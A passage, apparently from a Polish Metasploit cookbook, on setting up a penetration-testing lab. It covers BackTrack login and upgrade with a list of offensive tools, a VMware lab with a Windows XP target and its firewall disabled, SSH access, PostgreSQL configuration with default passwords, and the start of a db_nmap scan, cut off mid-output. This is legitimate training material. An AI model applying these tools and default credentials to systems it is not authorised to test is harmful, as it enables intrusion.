    1. Podczas bootowania systemu operacyjnego BackTrack zostaniesz poproszony o podanie nazwy użytkownika oraz hasła. Domyślnie nazwa użytkownika i hasło to odpowiednio root i toor.


    2. Po udanym zalogowaniu możesz pracować z poziomu wiersza poleceń lub wpisać polecenie startx, aby uruchomić tryb GUI.


    3. Framework Metasploit możesz uruchomić z menu programu uruchamiającego lub z poziomu wiersza poleceń. Aby uruchomić Metasploit z menu programu uruchamiającego, wybierz BackTrack/Exploitation Tools/Network Exploitation Tools/Metasploit Framework, tak jak pokazano na rysunku:


    [image: Obraz188895.PNG] 


    4. Metasploit posiada prostą strukturę hierarchiczną katalogów, w której folderem głównym jest opt. Dalsza gałąź tego folderu to /metasploit/msf31. Aby uruchomić Metasploit z poziomu wiersza poleceń, uruchom okno terminala i wpisz następujące komendy:

    root@bt:~# cd /opt/metasploit/msf3

    root@bt:/opt/metasploit/msf3 ~# ./msfconsole


    Jak to działa


    Uruchomienie Metasploit z poziomu wiersza poleceń wymaga podania pełnej ścieżki dostępu do interfejsu msfconsole. Jeśli skorzystasz z menu uruchamiania programów, uzyskasz bezpośredni dostęp do różnych interfejsów użytkownika.


    Zobacz również


    Większość użytkowników wolałaby zaktualizować swój dotychczasowy system, zamiast przeprowadzać od nowa wszystkie instalacje. Na szczęście, użytkownicy systemu operacyjnego BackTrack 5 R2 mogą go łatwo zaktualizować do wersji R3. Zobaczmy, jak to zrobić.


    Aktualizacja wersji R2 do R3


    Użytkownicy, którzy nie chcą przeprowadzać nowej instalacji, mogą bez problemów zaktualizować bieżącą wersję R2 do wersji R3.


    Najpierw musisz upewnić się, że Twój bieżący system posiada wszystkie aktualizacje:

    apt – get update && apt – get dist upgrade


    Po wykonaniu zamieszczonego poniżej polecenia zainstalowane zostaną nowe narzędzia, które zostały dodane w wersji R3. Pamiętaj, aby wybrać właściwą architekturę systemu.


    Narzędzia 32-bitowe


    W celu przeprowadzenia instalacji w systemie 32-bitowym zastosuj następujące polecenie:

    apt-get install libcrafter blueranger dbd inundator intersect mercury 

      cutycapt trixd00r artemisa rifiuti2 netgear-telnetenable jboss-

      autopwn deblaze sakis3g voiphoney apache-users phrasendrescher 

      kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit 

      spooftooph wifihoney twofi truecrack uberharvest acccheck 

      statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard 

      multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-c

      heck sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum 

      wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy 

      creddump android-sdk apktool ded dex2jar droidbox smali termineter 

      bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker 

      powersploit webhandler


    Narzędzia 64-bitowe


    W celu przeprowadzenia instalacji w systemie 64-bitowym zastosuj następujące polecenie:

    apt-get install libcrafter blueranger dbd inundator intersect mercury 

      cutycapt trixd00r rifiuti2 netgear-telnetenable jboss-autopwn 

      deblaze sakis3g voiphoney apache-users phrasendrescher kautilya 

      manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph 

      wifihoney twofi truecrack acccheck statsprocessor iphoneanalyzer 

      jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec 

      websploit dnmap johnny unix-privesc-check sslcaudit dhcpig 

      intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot 

      dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool 

      ded dex2jar droidbox smali termineter multiforcer bbqsql htexploit 

      smartphone-pentest-framework fern-wifi-cracker powersploit 

      webhandler


    Przygotowywanie testów penetracyjnych przy wykorzystaniu aplikacji VMware


    Zawsze możesz przygotować sobie laboratorium do testów penetracyjnych, wykorzystując wiele maszyn. Taka konfiguracja uznawana jest za idealną. Co jednak zrobić, jeśli masz nagły przypadek i musisz natychmiast skonfigurować scenariusz testowy, a dysponujesz tylko jedną maszyną? Oczywistym rozwiązaniem jest wykorzystanie maszyny wirtualnej (ang. virtual machine — VM). Możesz wtedy pracować jednocześnie na więcej niż jednym systemie operacyjnym i przeprowadzać testy penetracyjne. Przyjrzyjmy się temu, w jaki sposób można zorganizować laboratorium do testów penetracyjnych na jednej maszynie przy wykorzystaniu maszyny wirtualnej.


    Przygotuj się


    Wykorzystamy oprogramowanie VMWare workstation 9 do skonfigurowania dwóch maszyn wirtualnych z systemami operacyjnymi BackTrack 5 R3 oraz Windows XP SP2. Naszym hostem będzie maszyna z systemem Windows 7. Będziemy potrzebować instalatora programu VMware oraz plików obrazów lub dysków instalacyjnych systemów, które chcemy skonfigurować jako maszyny wirtualne. Nasza kompletna konfiguracja będzie się więc składała z maszyny hosta z systemem Windows 7 oraz dwóch maszyn wirtualnych z systemami BackTrack 5 R3 oraz Windows XP SP2.


    
      Ponieważ aplikacja VMWare jest płatna, możesz skorzystać z darmowych alternatyw na licencji open source, takich jak VirtualBox lub Qemo.

    


    Jak to wykonać


    Proces instalacji maszyny wirtualnej jest prosty i oczywisty. Poniżej opisano jego etapy.


    1. Po zainstalowaniu oprogramowania VMware utwórz nową maszynę wirtualną. Wybierz odpowiednie opcje i kliknij Next (dalej). Aby rozpocząć konfigurację, będziesz musiał zapewnić nośnik instalacyjny w postaci pliku obrazu lub dysku instalacyjnego. Kompletną instrukcję obsługi maszyny wirtualnej oraz opis procedury instalacyjnej znajdziesz na stronie https://my.vmware.com/web/vmware/downloads.


    2. Aby uzyskać odpowiednią wydajność maszyny wirtualnej, zalecane jest co najmniej 4 GB dostępnej pamięci RAM dla 32-bitowego systemu operacyjnego oraz 8 GB dla 64-bitowego. W kolejnej recepturze poznasz ciekawy sposób na ograniczenie wykorzystania pamięci podczas używania jednocześnie kilku maszyn wirtualnych.


    3. Kiedy utworzysz maszynę wirtualną (VM), możesz użyć opcji klonowania (VM/Manage/Clone). W ten sposób otrzymasz dokładną kopię swojej maszyny wirtualnej, więc w przypadku wystąpienia jakiegoś błędu w trakcie korzystania z niej będziesz mógł przełączyć się na sklonowaną maszynę bez konieczności wykonywania ponownej instalacji. Możesz również skorzystać z opcji Snapshot, aby zapisać bieżący stan swojej maszyny wirtualnej. Opcja ta spowoduje zapisanie bieżących ustawień roboczych VM i będziesz mógł w przyszłości powrócić do zapisanego stanu.


    Zanim uruchomisz swoje maszyny wirtualne, musisz wykonać istotną konfigurację, aby obie maszyny mogły się ze sobą komunikować. Wybierz jedną z maszyn i kliknij opcję Settings (ustawienia). Następnie wybierz zakładkę Hardware (sprzęt) oraz opcję Network Adapter (adapter sieciowy). Znajdziesz tam preinstalowany adapter NAT, umożliwiający dostęp do połączenia internetowego maszyny hosta. W sekcji Network connection wybierz adapter Host-only (patrz rysunek poniżej). Wykonaj tę konfigurację na obu maszynach wirtualnych.
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    Jak to działa


    Ustawienie adaptera sieciowego Host-only ma na celu umożliwienie obu maszynom wirtualnym wzajemnej komunikacji. Teraz, aby przetestować, czy wszystko jest w porządku, sprawdź adres IP maszyny wirtualnej Windows, wpisując w wierszu poleceń komendę ipconfig. Następnie z poziomu maszyny BackTrack uruchom pingowanie maszyny Windows (stosując lokalny adres IP uzyskany po wpisaniu komendy ipconfig), aby sprawdzić, czy odbierane są pakiety. Powtórz ten proces w drugim kierunku, żeby sprawdzić obie maszyny wirtualne.


    Zobacz również


    Omówimy teraz niektóre inne opcje lub wskażemy pewne ogólne informacje, które mogą być istotne przy wykonywaniu tego zadania.


    Wyłączanie firewalla oraz ochrony antywirusowej


    Może się zdarzyć, że w niektórych sytuacjach podczas pingowania maszyny Windows z poziomu maszyny BackTrack pakiety nie będą odbierane. Może to być spowodowane domyślnymi ustawieniami firewalla systemu Windows. Wyłącz ochronę firewalla i ponownie uruchom pingowanie, aby sprawdzić, czy teraz pakiety będą odbierane. Wyłącz również wszelkie inne firewalle, które mogą być zainstalowane w maszynie wirtualnej.


    Konfiguracja Metasploit na maszynie wirtualnej z połączeniem SSH


    W poprzedniej recepturze skoncentrowaliśmy się na skonfigurowaniu laboratorium testów penetracyjnych na pojedynczej maszynie z wykorzystaniem techniki wirtualizacji. Jednak podczas korzystania z kilku maszyn wirtualnych mogą wystąpić poważne problemy związane z wykorzystaniem pamięci. Zajmiemy się teraz omówieniem techniki zapobiegawczej, która może być bardzo przydatna w złych chwilach.


    Przygotuj się


    Potrzebujemy jedynie klienta SSH. Skorzystamy z aplikacji PuTTY, ponieważ jest ona najbardziej popularnym, a zarazem darmowym klientem SSH dostępnym dla systemów Windows. Skonfigurujemy połączenie SSH z maszyną wirtualną BackTrack, ponieważ wykorzystuje ona więcej pamięci niż maszyna wirtualna Windows XP.


    Jak to wykonać


    Rozpoczniemy od uruchomienia maszyny wirtualnej BackTrack. Po wyświetleniu znaku zachęty dla logowania wprowadź poświadczenia, aby wyświetlić wiersz poleceń. Nie uruchamiaj teraz interfejsu graficznego. Wykonaj jedną z następujących komend2:

    root@bt:~# /etc/init.d/ssh start 

    root@bt:~# start ssh


    W ten sposób uruchomiony zostanie proces SSH na maszynie BackTrack.


    Teraz znajdź adres IP tej maszyny, wpisując poniższą komendę:

    root@bt:~# ifconfig


    Zanotuj ten adres IP.


    Uruchom aplikację PuTTY w systemie operacyjnym hosta. Wpisz adres maszyny wirtualnej BackTrack i podaj numer portu 22:
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    Teraz kliknij przycisk Open (otwórz), aby wyświetlić wiersz poleceń. Jeśli połączenie się powiodło, zobaczysz wiersz poleceń programu PuTTY, działający w imieniu maszyny BackTrack, która poprosi Cię o zalogowanie. Wpisz poświadczenia, a następnie wykonaj polecenie ifconfig, aby sprawdzić, czy adres IP zgadza się z adresem maszyny wirtualnej BackTrack:
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    Jak to działa


    W tej sesji SSH możemy teraz współpracować z maszyną wirtualną BackTrack za pomocą aplikacji PuTTY. Ponieważ interfejs graficzny nie został załadowany, zużycie pamięci zostało zredukowane niemal o połowę. Ponadto zminimalizowanie maszyny wirtualnej BackTrack dodatkowo zmniejszy wykorzystanie pamięci, ponieważ system Windows zapewnia mniejszy przydział pamięci procesom, które zostały zminimalizowane, a oferuje w zamian szybsze wykonywanie tych zadań, które działają w trybie widoku zmaksymalizowanego. To dalej redukuje do pewnego stopnia zużycie pamięci.


    
      Po nawiązaniu połączenia będziesz musiał zweryfikować certyfikat SSH.

    


    Instalacja i konfiguracja bazy danych PostgreSQL w systemie BackTrack 5 R3


    Istotną cechą Metasploit jest obecność baz danych, w których możesz przechowywać wyniki swoich testów penetracyjnych. Każdy test penetracyjny składa się z dużej ilości informacji i może być przeprowadzany przez kilka dni. Istotne staje się więc przechowywanie pośrednich wyników i odkryć. Dobrze przygotowany test penetracyjny powinien posiadać odpowiednią integrację z bazą danych, aby szybko i wydajnie zapisywać rezultaty. W tej recepturze zajmiemy się procesami instalacji i konfiguracji bazy danych w systemie BackTrack 5 R3.


    Przygotuj się


    Domyślną bazą danych frameworku Metasploit jest PostgreSQL. Sprawdźmy najpierw domyślne ustawienia tej bazy. Musimy przejść do pliku database.yml, którego lokalizacja to opt/metasploit/ config. W tym celu wpisz poniższe polecenia:

    root@bt:~# cd /opt/metasploit/config

    root@bt:/opt/metasploit/config# cat database.yml

    production:

    adapter: postgresql

    database: msf3

    username: msf3

    password: 8b826ac0

    host: 127.0.0.1

    port: 7175

    pool: 75

    timeout: 5


    Zwróć uwagę na domyślne nazwę użytkownika i hasło oraz domyślną bazę danych, które zostały utworzone. Zapisz te wartości, ponieważ będą one wymagane później. Jeśli masz ochotę, możesz je również zmienić według własnych upodobań.


    Jak to wykonać


    Teraz naszym zadaniem jest połączyć się z bazą danych i zacząć z niej korzystać. Uruchom interfejs msfconsole i prześledź, w jaki sposób można skonfigurować bazę danych i zapisywać w niej wyniki testów.


    Sprawdźmy najpierw dostępne sterowniki bazy danych:

    msf > db_driver

    [*]Active Driver: postgresql

    [*]Available: postgresql, mysql


    
      W najnowszych wersjach Metasploit firma Rapid7 zarzuciła wsparcie dla bazy danych MySQL, więc polecenie db_driver może nie zadziałać. W takim przypadku jedynym domyślnym sterownikiem obsługiwanym przez framework Metasploit będzie PostgreSQL.

    


    Jak to działa


    Aby połączyć sterownik z konsolą msfconsle, zastosujemy komendę db_connect. Zostanie ona wykonana z następującą składnią:

    db_connect nazwa_użytkownika:hasło@adres_IP_hosta:numer_portu/nazwa_bazy_danych


    Dla nazwy użytkownika, hasła oraz nazwy bazy danych użyjemy tych samych wartości domyślnych, które niedawno uzyskaliśmy z pliku database.yml:

    msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3


    Po udanym wykonaniu tego polecenia nasza baza danych będzie w pełni skonfigurowana.


    Zobacz również


    Zapoznajmy się z kilkoma bardziej istotnymi faktami związanymi z konfigurowaniem bazy danych.


    Występowanie błędów podczas próby połączenia z bazą danych


    Podczas próby ustanowienia połączenia istnieje prawdopodobieństwo wystąpienia błędu. W takich przypadkach należy pamiętać o dwóch rzeczach:


    
      	Sprawdź komendy db_driver i db_connect oraz upewnij się, że używasz właściwej kombinacji bazy danych.


      	Użyj polecenia start/etc/init.d do uruchomienia usługi bazy danych, a następnie ponownie spróbuj się z nią połączyć.

    


    
      Kolejna wskazówka w celu rozwiązania problemu to zmiana skryptu startowego (/opt/metasploit/ msf3/msfconsole) interfejsu msfconsole w taki sposób, aby zawierał poprawny parser Ruby (#!/opt/ metasploit/ruby/bin/ruby). Jeśli tego nie zrobisz, nie będą działać niektóre funkcje bazy danych, takie jak db_connect.

    


    Jeśli wciąż występuje błąd, możesz przeinstalować bazę danych i powiązane z nią biblioteki, stosując następujące polecenia:

    msf> gem install postgres

    msf> apt-get install libpq-dev


    Usuwanie bazy danych


    W każdym momencie możesz zarzucić utworzoną bazę danych i rozpocząć zapisywanie świeżych rezultatów od nowa. W celu usunięcia bazy danych możesz zastosować poniższą komendę:

    msf> db_destroy msf3:8b826ac0@127.0.0.1:7175/msf3

    Database "msf3" dropped.

    msf>


    Wykorzystanie bazy danych do przechowywania rezultatów testów penetracyjnych


    Nauczymy się teraz, w jaki sposób skonfigurować bazę danych w celu zapisywania rezultatów przeprowadzanych testów penetracyjnych.


    Przygotuj się


    Jeśli udało Ci się wykonać czynności opisane w poprzedniej recepturze, jesteś gotowy, aby wykorzystać bazę danych do przechowywania rezultatów testowania. Wpisz w msfconsole polecenie help, które spowoduje wyświetlenie dostępnych poleceń związanych z obsługą bazy danych.


    Jak to wykonać


    Rozpocznijmy od szybkiego przykładu. Polecenie db_nmap zapisuje bezpośrednio w bazie danych wyniki skanowania portów wraz ze wszystkimi istotnymi informacjami.


    Aby zobaczyć, jak to działa, uruchom proste skanowanie mmap maszyny docelowej:

    msf > db_nmap 192.168.56.102

    [*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03 IST

    [*] Nmap: Nmap scan report for 
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